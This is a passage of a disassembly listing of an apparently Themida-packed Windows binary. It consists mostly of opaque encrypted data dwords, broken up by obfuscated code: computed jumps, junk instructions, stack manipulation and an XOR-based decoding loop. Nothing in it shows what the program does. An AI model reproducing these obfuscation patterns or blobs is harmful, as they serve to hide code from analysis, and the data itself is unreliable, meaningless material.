0D142A732h, 2BE83DCDh, 2E8FCD73h, 5975055Bh dd 7E0D258h, 4095257Eh, 2397CDD1h, 7E0D2BCh, 65008D86h dd 0C56BA8D5h, 71C656BFh, 0B85B009Eh, 8C325BE6h, 2E70A14Eh dd 8804A3h, 0F39D0000h, 1E3ACA96h, 7E71362h, 4898237Ch dd 0DC821CF3h, 84BAE42Fh, 0D7623CD7h, 9ACDB7ABh, 4955BB3Eh dd 0ABB759BEh, 44CF3866h, 50F8B2EBh, 0FE1267B7h, 8618FBA0h dd 0AB2CD2FBh, 98060DF1h, 195EB562h, 99B79AFDh, 0DF33C83Eh dd 62ED56BFh, 18C12FDh, 0A88C466Fh, 4EA3336Bh, 3396B2C5h dd 613E99B7h, 0F30F9F08h, 3E99B790h, 79B75DB6h, 0CC5747CCh dd 112Dh, 0FFBBE500h, 492A42CCh, 643AD97Eh, 530AB0D9h dd 6FA75CBBh, 0D43FA42Fh, 36DA3FCAh, 9C78DD68h, 0FF127702h dd 62AF149Fh, 0C34CB13Ch, 2AEB50DBh, 8E84E974h, 53528510h dd 0BD55E389h, 4, 835DEB01h, 1C8704EBh, 92685C24h, 8900002Fh dd 1468243Ch, 89000015h, 0B951241Ch, 46876129h, 87EEC8BFh dd 8BCF314Eh, 0C483240Ch, 1C8B5404h, 4C48324h, 8904EC83h dd 438F243Ch, 241C8B08h, 81E38953h, 4C3h, 4C38300h, 5C241C87h dd 5F2434FFh, 4C481h, 69E90000h, 53FFF9EAh db 1Dh, 0EEh, 69h ; --------------------------------------------------------------------------- loc_5EC8CF: ; CODE XREF: sub_5EC3B6:loc_5EC3FFj mov eax, 8009422h add eax, ebp jmp eax sub_5EC3B6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push 0B318F87Eh retn 0B0Ch ; --------------------------------------------------------------------------- dd 32B40577h, 66528FB1h, 4D9BAF03h, 11D9C8AAh, 1FD89562h dd 3A11D1CEh, 762516F5h, 73D4B64Eh, 69227417h, 487C1709h dd 70F7D662h, 64F5F4EBh, 147F819Bh, 5FAE89A3h, 5811456h dd 5A1413Ah, 7C1815B2h, 4D98D0DFh, 3D36E89Eh, 6F50491Ah dd 95B38D8Dh, 6E90800h, 0DE000000h, 36200853h, 0D98D897Dh dd 0F07FA1Ch, 0C8Dh, 68C0F00h, 1000000h, 0FA2E1995h, 0D18B6607h dd 31AD85C7h, 6E6807FAh, 8B660000h, 0D985C7C2h, 7FA2Bh dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 6674C350h, 7EE4DB81h, 9252BF66h dd 138B0Fh, 0EE90000h, 0CE000000h, 0E8480A62h, 93537775h dd 1388F3C4h, 49B5FF95h, 8907FA21h, 0FA169185h, 9995FF07h dd 6A07FA17h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 34AC351h, 6E950h, 0AED80000h dd 46D819E7h, 0FF006A5Ah, 0FA101995h, 0EBC08B07h, 9559D33Dh dd 756D6B1Ah, 466DE25Ah, 0BCC43E1Ah, 630E6EA6h, 7FB21A42h dd 54BD0B35h, 3B2DF8C1h, 922E4A38h, 0C919E658h, 927B27D6h dd 385FDA43h, 356E2F1Eh, 0EB061534h, 0B4B8035Fh, 14E8C579h dd 0CD000000h, 0C6E07EF6h, 0D5CC606h, 2188612Bh, 8D3B80E6h dd 89A99C51h, 0FA229195h, 820F5907h, 0 ; --------------------------------------------------------------------------- add ecx, 6855h mov edi, [ebp+7FA1D35h] push 19E8h mov ax, 9C37h pop edx mov si, 0EFB4h loc_5ECA76: ; CODE XREF: Themida_:005ECAE0j push dword ptr [ecx] sub [ebp+7FA1EB1h], ebx pop ebx mov edi, edx add ebx, 7A56D696h mov [ebp+7FA0E0Dh], edx add ebx, 52FAE0DBh mov si, dx xor ebx, 0BE9DE34h mov edi, [ebp+7FA1895h] push ebx pusha mov ecx, [ebp+7FA0EE5h] mov bx, 0E96Bh popa pop dword ptr [ecx] mov eax, 72DC2225h sub ecx, 4 movzx esi, di sub edx, 1 jnz loc_5ECADC mov edi, [ebp+7FA0D4Dh] jmp loc_5ECAF4 ; --------------------------------------------------------------------------- push 35h mov [ebp+58EDA70h], dh inc edx loc_5ECADC: ; CODE XREF: Themida_:005ECAC2j mov di, 7608h jmp loc_5ECA76 ; --------------------------------------------------------------------------- db 17h, 95h, 48h dd 5030FCFDh, 0C39D4F3h, 66832669h ; --------------------------------------------------------------------------- loc_5ECAF4: ; CODE XREF: Themida_:005ECACEj jmp loc_5ECB09 ; --------------------------------------------------------------------------- db 82h, 0EBh, 11h dd 60h, 2 dup(0) db 0 ; --------------------------------------------------------------------------- loc_5ECB09: ; CODE XREF: Themida_:loc_5ECAF4j jmp loc_5ED062 ; --------------------------------------------------------------------------- dw 0A274h dd 0F919C6FCh, 53C26FA5h, 0A768154Bh, 0FD14C1F7h, 82376BA1h dd 0F0267899h, 97CDD143h, 427826EAh, 0EA207E95h, 44A7C31Bh dd 7207E719h, 0F01F740Ch, 960809AEh, 6CA739F0h, 0CF42A732h dd 27EC99CFh, 8C87EC77h, 0F0228712h, 91CA23AEh, 61B308D7h dd 0E389B23Dh, 8BC1DD36h, 366C32DEh, 8C178789h, 26B1ED27h dd 0CDB16B94h, 78255B43h, 4C78039Bh, 0FFE682E6h, 0E5ECA617h dd 38748FADh, 0F0016A94h, 14D5C044h, 0A48D6Eh, 0A71E0000h dd 7BA7326Ch, 0FFE68316h, 1118D243h, 38748ED9h, 0C1996C0h dd 94DD405Ch, 1A0DEEh, 7DBD0000h, 527C0F53h, 0EF5BE107h dd 0FFE5DA8Ch, 0D9EC4F6Bh, 0C11AFFE5h, 0CA812780h, 0A8336BA7h dd 69192E58h, 0AE35965Ch, 88B13C62h, 46CC791Fh, 537DCD58h dd 0BB24B6E1h, 637F0FFCh, 0FFE6F600h, 7A27CD26h, 4F790995h dd 41EF60ACh, 5CEF950Ah, 2C10CA03h, 266CA7E6h, 702943AFh dd 0E721F154h, 5DC61FFFh, 211BEF4h, 0B0CC0C9Ch, 0FFE7224Dh dd 36741A73h, 0E4345E9Eh, 656F2768h, 5DF457C3h, 0C922FFE7h dd 6AA76C23h, 18811DF8h, 0C0DE3388h, 19A4FA1Bh, 52B74AF0h dd 1D8DB7C0h, 0EE760F9h, 86CCF3Bh, 419AFFE7h, 314DD8h dd 0EFAF6246h, 86070A5Fh, 0C50BBCC8h, 25B01952h, 4C56B9D5h dd 237CFFE7h, 29D614BAh, 0C429B4EAh, 9DC24D51h, 135B621Ch dd 0B1387552h, 82h, 0F86AA742h, 901B841Ah, 81E40040h, 0AFFFE683h dd 47AAC656h, 6DFFE683h, 54C16E14h, 0B390BA4Ah, 3D48F698h dd 0ECEAA98Bh, 147DD429h, 4982DB6Eh, 3866AB8Fh, 0FA156A02h dd 18DF19A4h, 0E8895BB5h, 21CE74DDh, 0BE23AEF0h, 9DC24D51h dd 46A9C505h, 6CFFE6E1h, 0D9643AD7h, 20A147B0h, 0E7175F66h dd 32B53874h, 46000000h, 0A9346AA7h, 47D2CC44h, 3908C203h dd 837ADDF9h, 4FA8FFE6h, 8915FCA9h, 6BA79C53h, 167CA833h dd 47FFE683h, 0DD151CD6h, 7B38748Eh, 1, 306EA70Ch, 0CBD340A5h dd 6A34DB40h, 6987ADFh, 742E5F7Bh, 17D1FACCh, 4101E48h dd 883B453h, 3E60B562h, 14307008h, 0FFE77DB1h, 7FE086DFh dd 0AAC6560Ah, 7E1944Ch, 6F2FE57Ah, 0FD167B06h, 55BE6BA1h dd 2D92BE49h, 1407E170h, 0DE3519D3h, 3D0630C0h, 94DA8056h dd 9D4A882Eh, 389D2876h, 1C38C3DBh, 0A947FD4h, 0A9F51A7Fh dd 0E68CF51Eh, 87DCAB65h, 628B1688h, 5E040FBCh, 0FB60EBB3h dd 0B31C8519h, 8490E57Dh, 8E74D7F3h, 49A207E0h, 326A3AE0h dd 0D0406E9Ah, 14Ch, 25EB4080h, 82AA0D79h, 43D807E0h, 1E47D2CCh dd 0F3580FB5h, 18868E96h, 46CA1FAFh, 1EA9F51Ch, 0D8018CF5h dd 287E9A32h, 3607E0B8h, 9B234DDDh, 0D283DE26h, 399E31D7h dd 0F68EC4DAh, 0CB379AB6h, 16F907E0h, 48EE4788h, 9B26789Bh dd 36C1DD36h, 0D15C42D1h, 0CB026581h, 0D73007E0h, 33BEE032h dd 842CE617h, 898BE028h, 0BB618A15h, 779C803Ah, 0E921F127h dd 87406ED6h, 2Eh, 0C69AF318h, 83971A36h, 0E43D7FE6h, 5DB40959h dd 0E78DB641h, 0E6821073h, 2BCE57Fh, 0AD3D236Ah, 0E6820E91h dd 255BB4FFh, 0A33Eh, 92BCD700h, 3C2867Fh, 50B157D7h, 42972739h dd 932BD1CDh, 0E0E70D77h, 204A8A07h, 0A8A10F5Eh, 2D90FC8Ch dd 5307E086h, 9C5C6E9h, 58C17C6Dh, 851069B2h, 75ABF320h dd 0C3534BC8h, 6EF9A56Eh, 0E00C9F45h, 7E17678h, 4C30EA2Bh dd 9A1D7C7h, 0B23D61B4h, 8BB34878h, 0F861550Dh, 0C898F152h dd 0E56D1C38h, 126B0FE1h, 0ADF12287h, 0FB509022h, 0D6FF8A14h dd 26F5AF30h, 0E067CAE6h, 0E8290FE0h, 0C1022BB6h, 2861C268h dd 0DD8CA838h, 0AC17E176h, 4DED506Ch, 0BA1307E1h, 0D7A09440h dd 3CE2508Eh, 0AD649AF3h, 3ACA96F3h, 0E71A6F1Eh, 93F41E07h dd 0D9A5D66Ah, 0D353B6D2h, 288107E6h, 77D019BFh, 128C87ECh dd 7EE42FDCh, 557E0995h, 0D13A64B0h, 4B8F1A46h, 5FB16FF8h dd 4864B43Fh, 5FF7A9E5h, 80DB20Bh, 79B20B96h, 457E17BFh dd 326CA78Bh, 0DAC44FFCh, 0A3BFFF4Fh, 5FF7AA40h, 4D8E1002h dd 6EA14EF4h, 47E20F4h, 673BCCF8h, 0C752BB58h, 62EDB162h dd 446017FDh, 5FF850E1h, 0C24DB60Fh, 0DB833D7Eh, 4226E009h dd 0EA97CDD1h, 0BBE57529h, 23D89195h, 3ED177D7h, 119Fh dd 0C62D5700h, 0E1E609AFh, 0FC8717FEh, 0DC46AD3h, 6FA75CBBh dd 0D43FA42Fh, 36DA3FCAh, 9C78DD68h, 0FF127702h, 62AF149Fh dd 0C34CB13Ch, 2AEB50DBh, 8E84E974h, 68528510h, 98Eh, 89242C89h dd 4C581E5h, 83000000h, 2C8704EDh, 84685C24h, 89000054h ; --------------------------------------------------------------------------- sub al, 24h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 80096CDh mov ebp, [esp] add esp, 4 push esp mov ecx, [esp] add esp, 4 push ebp sub dword ptr [esp], 165D6B09h pop dword ptr [ecx+8] add dword ptr [ecx+8], 165D6B09h push dword ptr [esp] pop ecx add esp, 4 mov ebp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_58B334 ; --------------------------------------------------------------------------- dd 96A7E4F3h, 191AB31Dh ; --------------------------------------------------------------------------- aad 0C3h loc_5ED062: ; CODE XREF: Themida_:loc_5ECB09j mov eax, 8009BA2h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0F6h dd 171ED9E3h, 8117FC4Ch, 31568A9Fh, 0B452FB2Dh, 0C003CD98h dd 606C4115h, 19444C19h, 73196940h, 79519197h, 0BA3D64CBh dd 0B90C8FBEh, 2B658F9Eh, 8D44FCEFh, 9D918Dh, 55006A08h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 4732E6Dh, 0B70F600Eh, 119D8BF8h, 6107FA06h, 1DED9589h dd 8D8907FAh, 7FA1CD9h, 2A399589h, 85C707FAh, 7FA31ADh dd 5DD0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 40C35343h, 37C50BBDh, 608BD7BAh, 25BD8956h, 5E07FA2Ch dd 2BD58D89h, 0C76107FAh, 0FA2BD985h, 7, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0E4465F08h, 8B96C5C8h, 0FA0B4595h, 3DB5FF07h, 6A07FA24h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0EB1C356h, 0FEF50BCh, 1C8Ch, 11E800h, 0F3320000h dd 47ED32BEh, 0CF85D22Ch, 0F6ADE321h, 66F5DD1Eh, 0AD01EA81h dd 9D858B58h, 0FF07FA27h, 0FA179995h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 1C8274A3h, 4230BE01h, 6AC2BF0Fh, 1995FF00h, 8B07FA10h dd 445BEBC0h, 0D8BDA7D1h, 9A399A2Ah, 8B392DF6h, 8E48636h dd 459FEE9Bh, 47A7CBA1h, 1D651C46h, 5A168880h, 8E87E0C5h dd 99C87868h, 0F12EFB45h, 9387ABFDh, 2259E618h, 0C772834h dd 7B6012EFh, 1D77BF35h, 0B3A5D3EAh, 9C4AD622h, 1B1E0C78h dd 31E8E466h, 0AEE76D5Dh, 0EEEFB854h, 0E3531EABh, 365DB162h dd 56AC383Dh, 0E06B132h, 0FABB153h, 56D5B130h, 91AB0DE7h dd 5692DE0Ch, 2E028611h, 0AA5DB10Ah, 0F8939CBh, 5657B130h dd 0D62CB31Dh, 564500E0h, 5F03D132h, 0DE75B132h, 2BB08898h dd 0E47008D6h, 56AB3F3Dh, 12E9B132h, 3786A6ADh, 0D8DAB132h dd 56EAB13Ah, 56FFBE52h, 37BAB132h, 0DC52B132h, 56AEB12Eh dd 56435952h, 7392B132h, 29DD99BDh, 5F7E7DB9h, 3A18B163h dd 538F282Ah, 3705C7D5h, 0D1A1B132h, 5657B134h, 8E20D752h dd 56D5D0CAh, 56E6303Dh, 0D07AB132h, 56BAB134h, 565D3E3Dh dd 0B900B132h, 5651B16Fh, 3380B132h, 0AA90E180h, 568B5D85h dd 0C6754432h, 56ABB16Dh, 93BCB132h, 0BD5D4497h, 0D453D638h dd 22C9393Eh, 0BEF84E31h, 56EAB139h, 8F164A9Ah, 0C99765C5h dd 0D79C83B8h, 0E7BFEFE2h, 5636EA16h, 56AB4832h, 56D4343Dh dd 0AA12B132h, 0D97AB132h, 56BAB13Ah, 565F313Dh, 37CEB132h dd 0DD58B132h, 56ABB133h, 56D544CAh, 0AFEAB1CAh, 5C9CB132h dd 0B5BAB132h, 0EF0EF4B3h, 0B8E8440h, 5957B174h, 56ABB9B9h dd 545EBE32h, 36EAB132h, 0BF75B153h, 56BAB126h, 8C6148F8h dd 0D3774000h, 1CBD6BB6h, 18EF8B4Ah, 13983EC2h, 48AB132h dd 5D80316Dh, 36BAB153h, 563C5283h, 432BBE32h, 0BF57B132h dd 56ABB122h, 0C80B1370h, 40D6E479h, 62805DF4h, 0D7059E67h dd 365DB1CAh, 0DD783A52h, 0E158D0FDh, 56ABD0C3h, 56DE333Dh dd 0D68AB132h, 0DF7AC7D4h, 56BAB132h, 0A35DB153h, 0D5A1B132h dd 5657B135h, 56AA3F3Dh, 562CB132h, 9D61D132h, 361472B9h dd 0EE5A30CEh, 3716A028h, 4747B132h, 757B132h, 0C8BD15DFh dd 610B5C81h, 169C24BFh, 94D41B72h, 0EDDAB132h, 6226FBCh dd 56CFEC80h, 57DBBE32h, 0AEABB132h, 503CB132h, 32EAB132h dd 63D9CEE1h, 56BAB388h, 63DB132h, 56AEA5DBh, 0CE53C432h dd 86D41681h, 0BD685129h, 9F11AF5Eh, 82DABA2h, 0DDE9EF54h dd 8E3CEEF9h, 55AEB335h, 5257AA32h, 4CAB9A32h, 56D71532h dd 5A03D152h, 0B575B132h, 95B2ADC9h, 7C06AACBh, 0BF2C6D89h dd 5657B13Ch, 440346BFh, 0E1CA1621h, 7FA9C6D7h, 0D61469D9h dd 56DBC7E8h, 5BD5BE32h, 0BFAEB132h, 5657B13Ah, 7D2D8683h dd 0FCB6B52h, 56EAB7DBh, 0D42BAD32h, 56FDD1DCh, 0EE3BD132h dd 375BFB35h, 5ABEB132h, 0AFABB132h, 0EE964975h, 50727046h dd 56E74B02h, 5731BE32h, 0A35DB132h, 58A80B52h, 0DD3191F9h dd 56ABD0FDh, 56D5BADBh, 8CF14332h, 732140F5h, 87D3808Eh dd 540AB132h, 56AEB7B6h, 0D4973032h, 0D789AA50h, 0E7D497DCh dd 56EAD043h, 175B1C7h, 56B05930h, 9F09B132h, 3CC96169h dd 0BF17A454h, 37F37BB9h, 503CB132h, 6DEAB132h, 3B8B7E8Eh dd 4EA2178h, 373DE362h, 37CE803Dh, 6758E968h, 597B3A52h dd 0CB47385h, 308AE16Ah, 0E9CB67B9h, 37F299E8h, 3913F8A2h dd 0DDF4B44Eh, 70A63054h, 56A758E2h, 0EBC1B132h, 0EF6AB280h dd 23D9EECCh, 0CA27CA38h, 565DBADBh, 7BEAE632h, 7FE74250h dd 0B377FE9Ch, 9E253054h, 56EC584Bh, 11F3B132h, 0B5A82C46h dd 22CED0AFh, 0B64DA3AFh, 5A68EFABh, 0AE7A3167h, 56D5B7DBh dd 0F2DD8732h, 0CBA6733Fh, 0A3962153h, 565DA1DBh, 0DFA932h dd 0B4FA75E5h, 78028141h, 6CB0EDFDh, 37B22CD9h, 0B41B6A2h dd 372712E0h, 13CCE968h, 0EF47AA8h, 5ABE803Dh, 2ABB132h dd 969643CFh, 0BA758FCBh, 0CCEFB87h, 72FE386Ah, 363DD136h dd 0A525D753h, 5CBE2D53h, 0ACABB132h, 9074B999h, 43705B5h dd 80F4D711h, 425345ACh, 1A5DB132h, 6E351BA7h, 0B220C723h dd 6B8B37Fh, 2ABAFF7Bh, 0CB61EB37h, 5664E953h, 0E6CDB132h dd 7B243D85h, 179AB040h, 8E67A5BDh, 5698EC15h, 5754BE32h dd 0AAEAB132h, 479CB132h, 39BAB132h, 3245C077h, 0F5F0AE8Ah dd 4472BD9h, 7884EFC1h, 0D7B5B132h, 0B57C9BC3h, 53F6BE01h dd 0ECBAB132h, 0D340A2Fh, 59AEB153h, 5657B0B9h, 56AB4432h dd 62C3A52h, 56EAA0DBh, 6683D632h, 69F97CB8h, 9CF66B15h dd 0B365FEDFh, 370C35F1h, 59ABB1C7h, 56D5BCBFh, 56E25832h dd 5A6CB132h, 95F6037Bh, 565DDEAFh, 56A9353Dh, 0D158B132h dd 56ABB133h, 59D5B1C7h, 56EA94B6h, 449CD132h, 0F4BAB132h dd 2333DEBDh, 2288E12Fh, 0AABA8815h, 6E66C0B2h, 56D359AEh dd 760CB132h, 9A58EA96h, 56BAD06Dh, 988E0852h, 0FCDC51h dd 5636E86Dh, 0D7CDD132h, 0BF0F1BF3h, 56EAB13Dh, 0A9A937ECh dd 6C2B19FEh, 32914A01h, 3780CF4Eh, 0D758B132h, 56ABB125h dd 56D95952h, 0E3DAB132h, 0E0C4D19Ah, 0AD035B51h, 59023F10h dd 56CF6A8Dh, 565D5832h, 0F1BBB132h, 14D9CD00h, 0CE5F916Fh dd 567B303Dh, 5F53B132h, 0B25DB132h, 36846F24h, 462D6611h dd 59CBB132h, 0A75E6785h, 59EAB153h, 5675B6B8h, 5739BE32h dd 0AE5DB132h, 5C47B132h, 357B132h, 8F485C24h, 0A6AA3645h dd 59EAB1E4h, 5675A4B2h, 56AA5832h, 0AE6FB132h, 66A0CC36h dd 2D19740h, 9E6B3D22h, 56D53443h, 56EABADBh, 0DD79C232h dd 105F95C9h, 69E21CF0h, 5652B132h, 5AD2BE32h, 59ABB132h dd 56D5B7B6h, 566CBE32h, 5675B132h, 56AB5832h, 8076B132h dd 0D1E28793h, 7FF7AEC8h, 8EC35F68h, 565BE05Dh, 56E15832h dd 0BF61B132h, 78A1D73Ah, 63788E63h, 0AEAEB10Bh, 0D758B132h dd 56ABB135h, 56D4353Dh, 5612B132h, 56795832h, 0A674B132h dd 7B81AD3Dh, 0C455285h, 56571B4Ah, 56AA3A3Dh, 5620B132h dd 56EA4932h, 0D07AD1C7h, 56BAB12Ah, 565DA2DBh, 5A81FD32h dd 0F4D1FD35h, 0F5625DC8h, 0BB7BCFCEh, 98386699h, 5614E686h dd 4553D132h, 0C5DB132h, 0E104F7CFh, 3238D434h, 0A316C383h dd 65C6CFC9h, 0E1E5BDD0h dd 5675D0F4h, 0AFBAB1CEh, 50B4B132h, 5CAEB132h, 1EC37CA7h dd 59ABB1F0h, 56D5BCBDh, 56E25832h, 1C0CB132h, 9507E7h dd 565D8F5Ch, 5D24BE52h, 0BE57B132h, 56ABB137h, 0B679156h dd 0ED8CEA62h, 361496BDh, 56AB5964h, 2936B132h, 0DFB1A8C6h dd 477DF806h, 81301E28h, 0F33DCB0h, 56EC586Ch, 5BCEB132h dd 0BBAF3412h, 0BF5DB153h, 56AEB13Eh, 7D71B0C6h, 0A04A1E72h dd 9C72A9C8h, 0D2E5B132h, 5675B133h, 56AE58CEh, 812EB132h dd 747CF278h, 9EE0BD0Dh, 452215ECh, 23CDE9B6h, 56EA2115h dd 5675A3DBh, 0BB2A4332h, 5544619Fh, 64419D20h, 90CA8906h dd 5621A64Bh, 56D54832h, 56EAA3DBh, 1BC64F32h, 31D44013h dd 0C4BE211Ah, 0E267C609h, 0BF092AEAh, 56ABB138h, 0D65C8202h dd 7D61ED76h, 567537C5h, 36BAB1CEh, 565DA2DBh, 2A49732h dd 8697F556h, 0C8C9ABA0h, 0DA710215h, 0F8FD0C86h, 5675BDDBh dd 70C71D32h, 0C25D53EDh, 9F35882Fh, 5657D042h, 0D7CDE352h dd 9460DD4h, 755268B3h, 0AF14CAA3h, 0D6B5B132h, 565DB13Eh dd 56A83D3Dh, 0D458B132h, 56ABB132h, 0D3DAB132h, 56EAB124h dd 5675A0DBh, 75DEA032h, 446C0689h, 968F2BB0h, 0C91EF265h dd 56ABFB44h, 36D5B1CBh, 56EC393Dh, 0D37AB132h, 56BAB132h dd 595DB153h, 56AEB0BBh, 56574432h, 56A05952h, 0E3C9B132h dd 4B1839CEh, 7A4AB305h, 9810698h, 565DBEDAh, 7599D32h dd 0AF1B01D4h, 82927DACh, 2B3305CDh, 8E8D0F54h, 0DC15D06Ch dd 56BAD0FCh, 565DBDDBh, 0F9B8F632h, 0E9AF2255h, 3C156AE2h dd 56D54995h, 0BF2D3B52h, 5675B13Bh, 59C786FCh, 9461F071h dd 0D0A1D049h, 5657B13Eh, 56AD3F3Dh, 0DBDAB132h, 56EAB132h dd 459CB132h, 0B1BAB132h, 0C91B692Bh, 0A73F905Fh, 0CF5BF84Ch dd 63798D03h, 56D501B2h, 56EAB9DBh, 0DCD89E32h, 5B26648Ah dd 0BF5DB1D9h, 56AEB13Bh, 0D487E185h, 7E2C2BD2h, 0AED5B102h dd 0BF16B132h, 5675B138h, 0AB083115h, 4C0BF21Ch, 56AE99DCh dd 5676343Dh, 59CBB132h, 56D5B1BEh, 56FE5832h, 0BDB132h dd 87158133h, 0FED6DA4Ah, 0F2860A54h, 0F6F9CA11h, 56CA0E9Ch dd 5F3CD132h, 0F6EAB132h, 0CC6BCCA6h, 0C7010467h, 595DB153h dd 56AEA2B7h, 56595832h, 0D888B132h, 3726FA1Eh, 0C9347472h dd 3CB24C87h, 0DCB5B132h, 565DB135h, 56AF303Dh, 36ABB132h dd 594E7FB2h, 56D5B2BDh, 0A461D732h, 5975B153h, 56BABDBCh dd 565A5832h, 6B16B132h, 4AC2E293h, 36ABB1B0h, 91F3A63h dd 36EAB153h, 37863A54h, 4453B132h, 0FE5DB132h, 240DA6AAh dd 1D6EDCD5h, 2423CDFCh, 85BFD35Ch, 0BFEAB117h, 5675B138h dd 64CDAF62h, 13D6F9Eh, 5D47FAD1h, 9A57B132h, 650EE2C3h dd 0B28B175Eh, 56EA6C52h, 5675BBDBh, 2F73C332h, 8E750EF2h dd 56B5491Dh, 45BE4432h, 0B4ABB132h, 9F1EF28Bh, 0B263DEF2h dd 0F91A0727h, 0FD5A4814h, 565D56CAh, 56AE44CBh, 5657BADBh dd 3716F732h, 4378E158h, 3BAEDE77h, 0D77AB132h, 56BAB13Eh dd 565B3E3Dh, 0D2A1B132h, 5657B132h, 565EB132h, 56D95832h dd 8CF9B132h, 926ACF7Dh, 817247FDh, 565DAA7Bh, 59AEB1C7h dd 5657A6B3h, 56B95832h, 0A10BB132h, 35CE1871h, 4BCF5422h dd 0A3F9523Dh, 1A8C2A93h, 0D2A1B132h, 5657B121h, 56ABBFDBh dd 2E777D32h, 880DAC10h, 0E78BFA3Bh, 0BF74D8F6h, 565DB123h dd 0B57EE625h, 4E896560h, 0A43FCE79h, 1E740183h, 36EAB17Bh dd 0A0200F54h, 56BAA3DAh, 48605E32h, 29075DE8h, 34F34890h dd 0FCEC3A0Ah, 368F650Ch, 368BE853h, 0F82243B3h, 0DAD711h dd 563CD06Dh, 56A75832h, 0AC0B132h, 56CF519Eh, 5678AFB4h dd 56EF5832h, 90B3B132h, 5674542Eh, 5ED5BE32h, 59AEB132h dd 5657B3B4h, 56CAD132h, 5E5CBE32h, 59EAB132h, 5675B3B5h dd 56DBD132h, 56525832h, 9EE6B132h, 3C5986FBh, 0FB9C65h dd 9831DDEBh, 59EAB1B5h, 5675BBBDh, 0A431D132h, 9F97BB3h dd 56CFD93Ch, 58D9BE32h, 0BFABB132h, 56D5B13Bh, 2AB636FCh dd 0C3F5F184h, 5852D139h, 45DB132h, 0F3E8FF90h, 0EA4C8DFAh dd 3FA11C9Dh, 56DA59F6h, 2B08B132h, 0ACAA57Eh, 6618306h dd 21EA6086h, 0AFF0EE97h, 0BF57B153h, 56ABB13Ch, 9DBE8970h dd 3167F823h, 3BD84973h, 56BA6305h, 56505852h, 811DB132h dd 0A1534BB8h, 5DE9CBABh, 0BE0B7562h, 56EAB13Dh, 303B33CCh dd 0A2C314C3h, 0B15D3A11h, 30D0DD79h, 0DD0BE89h, 0BFABB153h dd 56D5B120h, 0ADB88D1h, 117E9654h, 0DDE9DE18h, 5EF1F562h dd 56AEBDC1h, 5657BEDBh, 0D9D38432h, 92D1E077h, 441957A0h dd 0D67C340Eh, 4553B132h, 2F5DB132h, 0BBD4434Dh, 2B4626CDh dd 1505ED4Bh, 0E7FF58E4h, 56EA8E6Ah, 567D5852h, 975B132h dd 0A702D835h, 0DDC861EEh, 5657D0FDh, 30180252h, 37D46E88h dd 0A06BD752h, 5A9CC902h, 0A0BAB132h, 7EBA76C2h, 712A8122h dd 37E9FA7Bh, 5842B132h, 5D5B132h, 6AB6F66Fh, 2CAD9C9Dh dd 54C9BD89h, 595DB111h, 56AEB0B1h, 56574932h, 36ABB1CAh dd 0BF1C0E3Dh, 56EAB13Ch, 63A78D03h, 807C01B2h, 94A49924h dd 59CFF3A4h, 5657BDBAh, 5021BE32h, 59D5B132h, 56EAB1BAh dd 0BF75B132h, 56BAB13Ah, 2FCFF89Eh, 366A53C9h, 0D858B132h dd 56ABB13Bh, 8054D752h, 378A2768h, 5975B153h, 56BAB0B6h dd 0D2524932h, 56AEB13Ah, 5655393Dh, 37CBB132h, 5629B132h dd 56EA4432h, 29843052h, 0BE8C533Eh, 565DB134h, 53083461h dd 0D731AD58h, 0D487EDBh, 0AFD5B153h, 0D4E5B132h, 5675B121h dd 56BABFDBh, 59775632h, 0AAC7E304h, 0BF6B674Eh, 562FFEF2h dd 56D85832h, 0D22AB132h, 0C140D205h, 0FD452035h, 5683EB8Bh dd 56AE4D32h, 0A8DCD752h, 56A8393Dh, 0DDB3B132h, 56EAD0C8h dd 0B9FFD1CAh, 56BAB7DBh, 14E13132h, 374F8E9Fh, 56A2B132h dd 5E2ABE32h, 59D5B132h, 56EAB3BBh, 5614D132h, 0DCEDD132h dd 563CEECEh, 56AE4832h, 5657A0DBh, 0ABEE8232h, 2C6515E5h dd 78324011h, 6A80B582h, 56BA4004h, 565DBADBh, 0CBFE0B32h dd 0A0D2921Ch, 0E41A15B4h, 0D2DAB132h, 56EAB13Eh, 5673343Dh dd 0DDB5B132h, 565DB132h, 532CBE52h, 0EC57B132h, 6F629120h dd 56C6313Dh, 5803B132h, 0AE75B132h, 7225B647h, 998722BBh dd 12852B1Eh, 5657D0ABh, 37F2E352h, 0D6DAB132h, 56EAB133h dd 3675B1CBh, 34234B8Ah, 0D73BE634h, 95E9AFDh, 5957B153h dd 56ABB0B3h, 56D54832h, 56E4303Dh, 5F9CB132h, 0D3BAB132h dd 42EE26B3h, 31AA5B06h, 0D558B132h, 56ABB133h, 0BFD5B1CBh dd 56EAB13Ch, 72FCB73h, 82639F81h, 6A6731EDh, 56AE10DFh dd 5644353Dh, 5842B132h, 5ED5B132h, 98EC4FF4h, 86098723h dd 6B9462Ch, 365DB11Eh, 0D7C879B9h, 37E047DDh, 5657B132h dd 5751BE32h, 0AEEAB132h, 429CB132h, 0B5BAB132h, 3A7DAF91h dd 0F9B009CFh, 0F1ED966Dh, 0A90F452Eh, 56619EF6h, 56FA5832h dd 0F803B132h, 3236C507h, 532AA60Eh, 6347BA93h, 56577767h dd 59ABB1CAh, 56D5BBBFh, 56EF5832h, 0C357B132h, 0A3AC1807h dd 56A4B132h, 56AE4832h, 3657B1CBh, 0E213938Dh, 56C55828h dd 0AB48B132h, 354076ECh, 0A2F43181h, 154A89ECh, 56CFC1BBh dd 565B5832h, 0FAEDB132h, 0F0960FA0h, 0DE287249h, 5675C77Ah dd 0EFB70752h, 2BDE142Ah, 59AEB153h, 5657A1BBh, 56A05832h dd 8DF2B132h, 0CD39B105h dd 0AC0F50F9h, 0BFBAB1A6h, 565DB122h, 0D2BC7A24h, 5F1617CBh dd 1C796A56h, 69317AC2h, 4203B132h, 0D75B132h, 0B120719Ch dd 